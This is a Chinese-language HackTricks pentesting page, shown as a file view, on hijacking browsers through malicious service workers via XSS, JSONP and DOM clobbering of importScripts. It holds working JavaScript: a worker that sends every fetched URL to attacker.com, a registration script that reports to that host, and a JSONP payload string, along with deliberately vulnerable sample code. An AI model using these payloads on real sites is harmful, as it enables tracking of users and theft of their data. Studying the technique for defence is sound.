hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

132 lines
8.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 滥用Service Workers
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告** 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks** 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
发现最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基本信息
**Service worker**是由您的浏览器在后台运行的脚本,与任何网页分开,可以启用不需要网页或用户交互的功能,从而增强**离线和后台处理**功能。有关service workers的详细信息请参见[此处](https://developers.google.com/web/fundamentals/primers/service-workers)。通过利用易受攻击的Web域中的service workers攻击者可以控制受害者与该域内所有页面的交互。
### 检查现有Service Workers
可以在**开发者工具**的**应用程序**选项卡中的**Service Workers**部分中检查现有的service workers。另一种方法是访问[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)以获得更详细的视图。
### 推送通知
**推送通知权限**直接影响**service worker**与服务器进行通信而无需直接用户交互的能力。如果权限被拒绝将限制service worker对持续威胁的潜力。相反授予权限会增加安全风险通过启用潜在利用的接收和执行来增加安全风险。
## 攻击创建Service Worker
为了利用此漏洞,您需要找到:
* 一种**上传任意JS**文件到服务器的方法和一个**XSS以加载上传的JS文件的service worker**
* 一个**易受攻击的JSONP请求**,您可以**操纵输出使用任意JS代码**和一个**XSS**以**加载JSONP并使用有效负载**,将**加载恶意service worker**。
在以下示例中,我将呈现一个代码来**注册一个新的service worker**该service worker将监听`fetch`事件,并将**将每个获取的URL发送到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**易受攻击的JSONP**响应加载的代码):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
以下是将**注册工作线程**的代码(您应该能够执行滥用**XSS**)。在这种情况下,将向**攻击者**服务器发送**GET**请求,通知**注册**服务工作者是否成功:
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
```
在滥用易受攻击的JSONP端点的情况下您应该将值放在`var sw`内。例如:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
有一个专门用于利用**Service Workers**的**C2**,名为[**Shadow Workers**](https://shadow-workers.github.io),将非常有用来滥用这些漏洞。
**24小时缓存指令**将恶意或受损的**service worker (SW)** 的寿命限制在最多24小时假设在线客户端状态下进行了XSS漏洞修复。为了最小化漏洞站点运营者可以降低SW脚本的存活时间TTL。开发人员还建议为快速停用创建一个[**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)。
## 通过DOM Clobbering滥用SW中的`importScripts`
从Service Worker中调用的函数**`importScripts`**可以**从不同域导入脚本**。如果使用**攻击者可以**修改的参数调用此函数,他将能够**从自己的域导入JS脚本**并获取XSS。
**这甚至可以绕过CSP保护。**
**示例易受攻击的代码:**
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
### 使用DOM Clobbering
有关DOM Clobbering的更多信息请查看
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
如果SW用于调用**`importScripts`**的URL/域位于**HTML元素内**则可以通过DOM Clobbering进行修改使SW从您自己的域加载脚本。
有关此示例,请查看参考链接。
## 参考资料
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗? 您想在HackTricks中看到您的**公司广告**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或**电报群**](https://t.me/peass) 或在**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
* 通过向**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。
</details>